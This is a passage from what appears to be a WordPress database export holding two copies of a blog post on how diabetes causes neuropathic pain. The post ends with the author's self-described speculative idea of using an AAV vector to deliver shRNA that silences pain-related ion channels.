NSAIDs, or blunt force instruments directly to the nervous system, like nerve blocks. Despite our best efforts, we still lack any way to tell objectively if a person or animal is in pain, and any way to stop pain while leaving the rest of the body unaffected.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe to read more posts about pain and/or animals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A big part of this is because of how fundamental pain is to bodily functioning. Every organism feels pain in some way or another because it’s a basic signal that something is causing harm to them. Even paramecium will flee noxious stimuli in a not so different way than a person quickly withdrawing their hand from a hot stove.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For humans and other higher-order animals, pain is integrated into every part of our body, making it hard to block or measure. First, many types of stimuli can cause pain, from the mechanical, like hitting your thumb with a hammer, to the chemical, like a bee sting, to the purely physiological, like “pins and needles”. Those stimuli interact with pain-signal-carrying nerve fibers differently, requiring nerve fibers to have a variety of ways of receiving pain signals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Speaking of nerve fibers, multiple types of nerve fibers can carry pain signals, making for redundant, robust signals that can’t easily be blocked, which is probably for the best, considering the importance of the signal to tell us that something is wrong. For those parts of the body that are not innervated by pain-conducting nerve fibers, like the heart, primary sensory neurons can “refer” pain to the parts that can, like the infamous heart attack symptom of shooting arm pain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, once the pain signals hit the brain, multiple parts of the brain are involved simultaneously with processing pain. This is why traumatic brain injuries can result in loss of smell, if the injury impacts the olfactory bulb, or sight, if it impacts the visual cortex, but almost never loss of pain. Even patients in a vegetative state&nbsp;<a href=\"https://www.science.org/content/article/unconscious-brain-still-registers-pain\">can often still feel pain on some level</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Utys!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F362071ba-82ff-41da-b46f-6fb1dfeb3d61_1957x1114.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Utys!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F362071ba-82ff-41da-b46f-6fb1dfeb3d61_1957x1114.jpeg\" alt=\"Frontiers | Cognition and Pain: A Review\" title=\"Frontiers | Cognition and Pain: A Review\"/></a><figcaption class=\"wp-element-caption\">A not great diagram. At least it shows where the different sorts of pain medications are supposed to interact, although the actuality is that all their interactions are way messier. As I said, pain is a very robust signal. Just ask an amputee suffering phantom limb pain.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Pain itself can also be a purely mental phenomenon. Everyone has had the experience of stress causing cramps or headaches. And many people have reported successfully relieving themselves of back pain by following Sarno’s method of treating back pain as a purely mental phenomenon caused by stress, rather than as physical phenomenon caused by mechanical stressors. Pain is felt in the body, but it happens in the brain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the past, when I’ve tried to think about pain in a scientific way, the above is where I got stuck. It’s hard enough tracking pain through the nerve fibers, but once it gets into the brain, I get totally lost. I fully support anyone trying to work in the pain space, because it’s important, but it’s hard, and made harder by the involvement of the cops at the DEA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve decided to take a different tact in my thinking this time in hopes that I get less stuck. Instead of talking about pain in general, or even the sorts of pain I’ve experienced, I’m going to go back to a disease that I’ve talked about many times before: diabetes. One of the reasons diabetes remains so fascinating to me is that it can affect every possible part of the body in many different ways, including through pain.<br><br>Specifically, diabetes frequently causes peripheral neuropathic pain, which is not a particularly well-defined set of symptoms. Basically, it’s any pain that occurs on the feet or hands that doesn’t have an obvious mechanical cause, like a wound or mechanical compression. What makes this interesting is that this is almost a “pure” form of pain: it results directly from damage to the nerves, through reasonably clear mechanisms, and is barely affected by weak painkillers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Diabetes, as regular readers of my blog know, has unclear beginnings. Type 1 diabetes is in full swing by the time pancreatic beta cells are being destroyed, and Type 2 diabetes is in full swing by the time cells start resisting the insulin signal, but what happens before that is shrouded in mystery. Fortunately, for diabetic pain, we can ignore that, as pain only happens when either type of diabetes is in full swing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once type 1 or type 2 diabetes is in full swing, the most important event happening in the body is high blood sugar. This is bad for nerves, specifically, because nerves have high energy requirements. They constantly have to maintain a polarized membrane, be ready to fire by depolarizing and repolarizing to propagate signals, and release and reuptake neurotransmitters<a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-1-153607688\">1</a>. This requires carefully orchestrated energy dynamics, in which glucose is taken up by the neuronal glucose transporter, GLUT1, shuttled into the neurons and astrocytes (neuronal helper cells), and carefully divvied up into either lactate, if shuttled into the astrocyte, or kept as plain glucose in preparation for the neuronal energy needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!takc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e25e399-0bf6-4112-a037-e7036c8d625d_1613x1377.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!takc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e25e399-0bf6-4112-a037-e7036c8d625d_1613x1377.png\" alt=\"Brain Glucose Metabolism in Health, Obesity, and Cognitive Decline—Does  Insulin Have Anything to Do with It? A Narrative Review\" title=\"Brain Glucose Metabolism in Health, Obesity, and Cognitive Decline—Does  Insulin Have Anything to Do with It? A Narrative Review\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Hyperglycemia is bad because GLUT1 doesn’t expect there to be too much blood sugar. Normally, there’s barely enough glucose for all the neuronal needs, so GLUT1 will let as much in as exists outside the neuron. In the case of hyperglycemia, this means that GLUT1 lets in so much glucose that it all piles up in the extraneuronal space.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If left unchecked, this piling up of glucose triggers the mitochondria in the neurons to first hyperpolarize, as their electron transport chains run on overdrive, and then depolarize, as the reactive oxygen waste products from the transport chains build up. At that point, the mitochondria can no longer function, the neurons can’t get energy, and they start to die. Simultaneously, the excess glucose forms bonds with proteins and lipids through glycation, permanently altering the proteins and lipids and disrupting pretty much all processes that rely on them, including the electron transport chain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is bad. To avoid this, there are several last-ditch pathways to prevent this build up, which involve converting glucose into other, less harmful products, like sorbitol and UDP-GlcNAc<a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-2-153607688\">2</a>. These products, although less harmful than glucose, are still somewhat harmful, so they also cause damage as they build up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because the damage of hyperglycemia is predominantly an issue of interference with energy demands, the nerve cells that are affected first are those that have high energy needs: unmyelinated and thinly myelinated nerve fibers at the ends of long axons, like the feet and hands. This is universal among diabetes patients, which is why sensation is always lost in the extremities first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pain, by contrast, is not universal in diabetic patients. Nerve damage or even nerve death, in and of themselves, don’t cause pain. It’s only once the ion channels are modified in the nerves that pain can be felt. The “channel lost” neuropathic pain in diabetes comes from semi-permanent modification of the ion channels by SUMOylation<a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-3-153607688\">3</a>. This can only happen if the ion channels are relatively intact, which means the neurons haven’t gotten permanently depolarized yet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, at last, we can come to a reasonably robust way of how diabetics end up in pain. As hyperglycemia builds up, the excess glucose simultaneously causes the mitochondria to run on overdrive and jams up the proteins and lipids in the mitochondria. The nerve cells react by semi-permanently modifying their ion channels, which causes a pain signal to be sent every time the nerves fire by depolarizing and repolarizing, assuming the ion channels are still in good enough shape to fire. This can only happen for a limited amount of time, though, as eventually the mitochondria and the nerve fibers are in such bad shape that no firing can happen or ion channels can’t be modified any more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we wanted to directly target chronic pain in humans, finding ways to prevent semi-permanent modification of ion channels in nerve cells would be a good place to start. Acute pain relies on much quicker and more reversible modification of ion channels. The tricky part is that SUMOylation occurs everywhere, not just in nerve cells, and compounds that block it universally, like the acid from gingko biloba or cashew fruit, are either toxic or ineffective.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, perhaps what we need is some way of localizing our blocking compounds to just neurons. Perhaps this would be a good place to start using adeno-associated viruses (AAVs) to carry an inhibition payload.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Past this point are my speculations on how to use AAVs as a precision method to stop a pain signal. The science of AAVs is way out of my comfort zone, so you’re not missing much if you stop reading here.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>AAVs are small viruses that infect humans and primates. They are growing increasingly popular as ways to carry therapies, especially gene therapies, because they seem to be able to infect pretty much any cell, don’t cause major health consequences or immune responses, and can stably integrate into the host genome. A ton of work has been done on optimizing them for therapeutic purposes, which is way beyond the scope of this post and my knowledge base.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The important thing for us is that they can carry genetic payloads, such as RNA inhibitors, which, coincidentally, was the topic of another one of my early viral posts (no pun intended). We can optimize our AAV vector by choosing an AAV that specializes in invading neural tissues (Claude suggests AAV9), and modifying it to make sure it can only release its payload (i.e. express the genes it’s carrying) in neurons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!YxAZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8088d9a-10ee-4668-9d58-e3839210a993_1050x452.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YxAZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8088d9a-10ee-4668-9d58-e3839210a993_1050x452.jpeg\" alt=\"Fig. 1.\" title=\"Fig. 1.\"/></a><figcaption class=\"wp-element-caption\">Well, after I wrote this blog post, I found out that&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC8830379/\">someone already tried this in mice</a>&nbsp;in 2021 and it seems to have worked well. Well, nice to know that my ideas aren\'t totally off-base. Coming up with original science is hard :(</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>A single injection directly into the intrathecal space by the spine would likely be all we’d need for delivery. While this is a bit scarier than an intravenous injection, it is much more targeted, which means we wouldn’t risk introducing our virus into parts of the body it’s not supposed to go. Our best choice for an RNA inhibitor, meanwhile, would probably be a short hairpin RNA (shRNA), which we could get our nerve cells to continually produce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’d use our shRNA to mark our ion channel mRNA for destruction, so the ion channels would not be maintained by the cell and would disappear. This would be a bit dangerous, safety-wise: not only would we be getting rid of some or all of the pain response in our nerves (depending on the levels of shRNA), we’d also be continually devoting some large percentage of the nerve cell’s RNAi machinery to this task, possibly disrupting other important tasks that it needs to carry out. Careful targeting of exactly what we want to destroy, monitoring how much of it we’re destroying, and preserving the health of the overall nerve cell would be crucial for success of this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we succeed, we’d have a treatment for diabetic neuropathic pain that’d be more effective than anti-inflammatories, safer than opioids, and more sustainable than a nerve block. And that, in turn, might serve as a better model for how to treat back pain than surgery or, you know, patients taking matters into their own hands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-anchor-1-153607688\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of my perspective on diabetic neuropathy has been shaped by this&nbsp;<a href=\"https://www.cell.com/neuron/fulltext/S0896-6273(23)00345-8#fig3\">review paper</a>. Most of my sourcing for this section comes from here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-anchor-2-153607688\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This may be the worst acronym I’ve ever seen. The full name is even harder to pronounce: Uridine diphosphate N-acetylglucosamine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-anchor-3-153607688\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Way less fun than it sounds. SUMO are small ubiquitin-like modifiers.</p>\n<!-- /wp:paragraph -->','Thinking about a cure for pain, again','','publish','closed','closed','','thinking-about-a-cure-for-pain-again','','','2025-07-03 19:32:31','2025-07-03 19:32:31','',0,'https://trevorklee.com/?page_id=504',0,'page','',0),
(505,1,'2025-07-03 19:32:31','2025-07-03 19:32:31','<!-- wp:paragraph -->\n<p>Reading that the UnitedHealth Group assassin was possibly radicalized by his back pain has got me thinking about pain again. Pain is bad, basically by definition. It’s shocking how bad it can be. We forget how bad it is once we’re no longer in pain, but, in the moment, getting stung by a hornet, stubbing a toe, or suffering the aftereffects of mall sushi is mind-numbing. It’s impossible to think about anything else.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve generally been pretty lucky with regards to avoiding pain, except for some unfortunate digestive issues in my early to mid 20s (a guide to treating them was actually&nbsp;<a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\">one of my first viral posts</a>). Still, the topic fascinates me. Pain is likely the oldest medical problem. We’ve been seeking out remedies for it for millenia, from alcohol to willow bark. Even&nbsp;<a href=\"https://www.nbcnews.com/science/science-news/orangutan-treated-own-wound-medicinal-plant-rcna150230\">orangutans try to self-medicate for it</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!QxZi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e43cfa-a285-4bca-a01f-ffc1a6cb120e_2377x1581.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!QxZi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e43cfa-a285-4bca-a01f-ffc1a6cb120e_2377x1581.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">An orangutan self-medicating for pain. I’ve had a lot of animal images as post headers recently. There’s supposedly an old Hollywood saying to never co-star with a child or animal, because they’re guaranteed to upstage you. Hopefully this orangutan doesn’t upstage my long blog post.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And yet, still, we don’t really understand how pain functions, what causes it, or how to stop it in a precise manner. Our best tools for diagnosing pain have not really progressed beyond asking people if they have pain, or, in the case of animals, observing them and seeing if they act like they’re in pain. Our best tools for stopping pain are either diffuse global treatments with tons of side effects, like opioids and NSAIDs, or blunt force instruments directly to the nervous system, like nerve blocks. Despite our best efforts, we still lack any way to tell objectively if a person or animal is in pain, and any way to stop pain while leaving the rest of the body unaffected.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe to read more posts about pain and/or animals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A big part of this is because of how fundamental pain is to bodily functioning. Every organism feels pain in some way or another because it’s a basic signal that something is causing harm to them. Even paramecium will flee noxious stimuli in a not so different way than a person quickly withdrawing their hand from a hot stove.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For humans and other higher-order animals, pain is integrated into every part of our body, making it hard to block or measure. First, many types of stimuli can cause pain, from the mechanical, like hitting your thumb with a hammer, to the chemical, like a bee sting, to the purely physiological, like “pins and needles”. Those stimuli interact with pain-signal-carrying nerve fibers differently, requiring nerve fibers to have a variety of ways of receiving pain signals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Speaking of nerve fibers, multiple types of nerve fibers can carry pain signals, making for redundant, robust signals that can’t easily be blocked, which is probably for the best, considering the importance of the signal to tell us that something is wrong. For those parts of the body that are not innervated by pain-conducting nerve fibers, like the heart, primary sensory neurons can “refer” pain to the parts that can, like the infamous heart attack symptom of shooting arm pain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, once the pain signals hit the brain, multiple parts of the brain are involved simultaneously with processing pain. This is why traumatic brain injuries can result in loss of smell, if the injury impacts the olfactory bulb, or sight, if it impacts the visual cortex, but almost never loss of pain. Even patients in a vegetative state&nbsp;<a href=\"https://www.science.org/content/article/unconscious-brain-still-registers-pain\">can often still feel pain on some level</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Utys!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F362071ba-82ff-41da-b46f-6fb1dfeb3d61_1957x1114.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Utys!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F362071ba-82ff-41da-b46f-6fb1dfeb3d61_1957x1114.jpeg\" alt=\"Frontiers | Cognition and Pain: A Review\" title=\"Frontiers | Cognition and Pain: A Review\"/></a><figcaption class=\"wp-element-caption\">A not great diagram. At least it shows where the different sorts of pain medications are supposed to interact, although the actuality is that all their interactions are way messier. As I said, pain is a very robust signal. Just ask an amputee suffering phantom limb pain.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Pain itself can also be a purely mental phenomenon. Everyone has had the experience of stress causing cramps or headaches. And many people have reported successfully relieving themselves of back pain by following Sarno’s method of treating back pain as a purely mental phenomenon caused by stress, rather than as physical phenomenon caused by mechanical stressors. Pain is felt in the body, but it happens in the brain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the past, when I’ve tried to think about pain in a scientific way, the above is where I got stuck. It’s hard enough tracking pain through the nerve fibers, but once it gets into the brain, I get totally lost. I fully support anyone trying to work in the pain space, because it’s important, but it’s hard, and made harder by the involvement of the cops at the DEA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve decided to take a different tact in my thinking this time in hopes that I get less stuck. Instead of talking about pain in general, or even the sorts of pain I’ve experienced, I’m going to go back to a disease that I’ve talked about many times before: diabetes. One of the reasons diabetes remains so fascinating to me is that it can affect every possible part of the body in many different ways, including through pain.<br><br>Specifically, diabetes frequently causes peripheral neuropathic pain, which is not a particularly well-defined set of symptoms. Basically, it’s any pain that occurs on the feet or hands that doesn’t have an obvious mechanical cause, like a wound or mechanical compression. What makes this interesting is that this is almost a “pure” form of pain: it results directly from damage to the nerves, through reasonably clear mechanisms, and is barely affected by weak painkillers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Diabetes, as regular readers of my blog know, has unclear beginnings. Type 1 diabetes is in full swing by the time pancreatic beta cells are being destroyed, and Type 2 diabetes is in full swing by the time cells start resisting the insulin signal, but what happens before that is shrouded in mystery. Fortunately, for diabetic pain, we can ignore that, as pain only happens when either type of diabetes is in full swing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once type 1 or type 2 diabetes is in full swing, the most important event happening in the body is high blood sugar. This is bad for nerves, specifically, because nerves have high energy requirements. They constantly have to maintain a polarized membrane, be ready to fire by depolarizing and repolarizing to propagate signals, and release and reuptake neurotransmitters<a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-1-153607688\">1</a>. This requires carefully orchestrated energy dynamics, in which glucose is taken up by the neuronal glucose transporter, GLUT1, shuttled into the neurons and astrocytes (neuronal helper cells), and carefully divvied up into either lactate, if shuttled into the astrocyte, or kept as plain glucose in preparation for the neuronal energy needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!takc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e25e399-0bf6-4112-a037-e7036c8d625d_1613x1377.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!takc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e25e399-0bf6-4112-a037-e7036c8d625d_1613x1377.png\" alt=\"Brain Glucose Metabolism in Health, Obesity, and Cognitive Decline—Does  Insulin Have Anything to Do with It? A Narrative Review\" title=\"Brain Glucose Metabolism in Health, Obesity, and Cognitive Decline—Does  Insulin Have Anything to Do with It? A Narrative Review\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Hyperglycemia is bad because GLUT1 doesn’t expect there to be too much blood sugar. Normally, there’s barely enough glucose for all the neuronal needs, so GLUT1 will let as much in as exists outside the neuron. In the case of hyperglycemia, this means that GLUT1 lets in so much glucose that it all piles up in the extraneuronal space.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If left unchecked, this piling up of glucose triggers the mitochondria in the neurons to first hyperpolarize, as their electron transport chains run on overdrive, and then depolarize, as the reactive oxygen waste products from the transport chains build up. At that point, the mitochondria can no longer function, the neurons can’t get energy, and they start to die. Simultaneously, the excess glucose forms bonds with proteins and lipids through glycation, permanently altering the proteins and lipids and disrupting pretty much all processes that rely on them, including the electron transport chain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is bad. To avoid this, there are several last-ditch pathways to prevent this build up, which involve converting glucose into other, less harmful products, like sorbitol and UDP-GlcNAc<a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-2-153607688\">2</a>. These products, although less harmful than glucose, are still somewhat harmful, so they also cause damage as they build up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because the damage of hyperglycemia is predominantly an issue of interference with energy demands, the nerve cells that are affected first are those that have high energy needs: unmyelinated and thinly myelinated nerve fibers at the ends of long axons, like the feet and hands. This is universal among diabetes patients, which is why sensation is always lost in the extremities first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pain, by contrast, is not universal in diabetic patients. Nerve damage or even nerve death, in and of themselves, don’t cause pain. It’s only once the ion channels are modified in the nerves that pain can be felt. The “channel lost” neuropathic pain in diabetes comes from semi-permanent modification of the ion channels by SUMOylation<a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-3-153607688\">3</a>. This can only happen if the ion channels are relatively intact, which means the neurons haven’t gotten permanently depolarized yet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, at last, we can come to a reasonably robust way of how diabetics end up in pain. As hyperglycemia builds up, the excess glucose simultaneously causes the mitochondria to run on overdrive and jams up the proteins and lipids in the mitochondria. The nerve cells react by semi-permanently modifying their ion channels, which causes a pain signal to be sent every time the nerves fire by depolarizing and repolarizing, assuming the ion channels are still in good enough shape to fire. This can only happen for a limited amount of time, though, as eventually the mitochondria and the nerve fibers are in such bad shape that no firing can happen or ion channels can’t be modified any more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we wanted to directly target chronic pain in humans, finding ways to prevent semi-permanent modification of ion channels in nerve cells would be a good place to start. Acute pain relies on much quicker and more reversible modification of ion channels. The tricky part is that SUMOylation occurs everywhere, not just in nerve cells, and compounds that block it universally, like the acid from gingko biloba or cashew fruit, are either toxic or ineffective.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, perhaps what we need is some way of localizing our blocking compounds to just neurons. Perhaps this would be a good place to start using adeno-associated viruses (AAVs) to carry an inhibition payload.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Past this point are my speculations on how to use AAVs as a precision method to stop a pain signal. The science of AAVs is way out of my comfort zone, so you’re not missing much if you stop reading here.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>AAVs are small viruses that infect humans and primates. They are growing increasingly popular as ways to carry therapies, especially gene therapies, because they seem to be able to infect pretty much any cell, don’t cause major health consequences or immune responses, and can stably integrate into the host genome. A ton of work has been done on optimizing them for therapeutic purposes, which is way beyond the scope of this post and my knowledge base.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The important thing for us is that they can carry genetic payloads, such as RNA inhibitors, which, coincidentally, was the topic of another one of my early viral posts (no pun intended). We can optimize our AAV vector by choosing an AAV that specializes in invading neural tissues (Claude suggests AAV9), and modifying it to make sure it can only release its payload (i.e. express the genes it’s carrying) in neurons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!YxAZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8088d9a-10ee-4668-9d58-e3839210a993_1050x452.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YxAZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8088d9a-10ee-4668-9d58-e3839210a993_1050x452.jpeg\" alt=\"Fig. 1.\" title=\"Fig. 1.\"/></a><figcaption class=\"wp-element-caption\">Well, after I wrote this blog post, I found out that&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC8830379/\">someone already tried this in mice</a>&nbsp;in 2021 and it seems to have worked well. Well, nice to know that my ideas aren\'t totally off-base. Coming up with original science is hard :(</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>A single injection directly into the intrathecal space by the spine would likely be all we’d need for delivery. While this is a bit scarier than an intravenous injection, it is much more targeted, which means we wouldn’t risk introducing our virus into parts of the body it’s not supposed to go. Our best choice for an RNA inhibitor, meanwhile, would probably be a short hairpin RNA (shRNA), which we could get our nerve cells to continually produce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’d use our shRNA to mark our ion channel mRNA for destruction, so the ion channels would not be maintained by the cell and would disappear. This would be a bit dangerous, safety-wise: not only would we be getting rid of some or all of the pain response in our nerves (depending on the levels of shRNA), we’d also be continually devoting some large percentage of the nerve cell’s RNAi machinery to this task, possibly disrupting other important tasks that it needs to carry out. Careful targeting of exactly what we want to destroy, monitoring how much of it we’re destroying, and preserving the health of the overall nerve cell would be crucial for success of this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we succeed, we’d have a treatment for diabetic neuropathic pain that’d be more effective than anti-inflammatories, safer than opioids, and more sustainable than a nerve block. And that, in turn, might serve as a better model for how to treat back pain than surgery or, you know, patients taking matters into their own hands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-anchor-1-153607688\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of my perspective on diabetic neuropathy has been shaped by this&nbsp;<a href=\"https://www.cell.com/neuron/fulltext/S0896-6273(23)00345-8#fig3\">review paper</a>. Most of my sourcing for this section comes from here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-anchor-2-153607688\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This may be the worst acronym I’ve ever 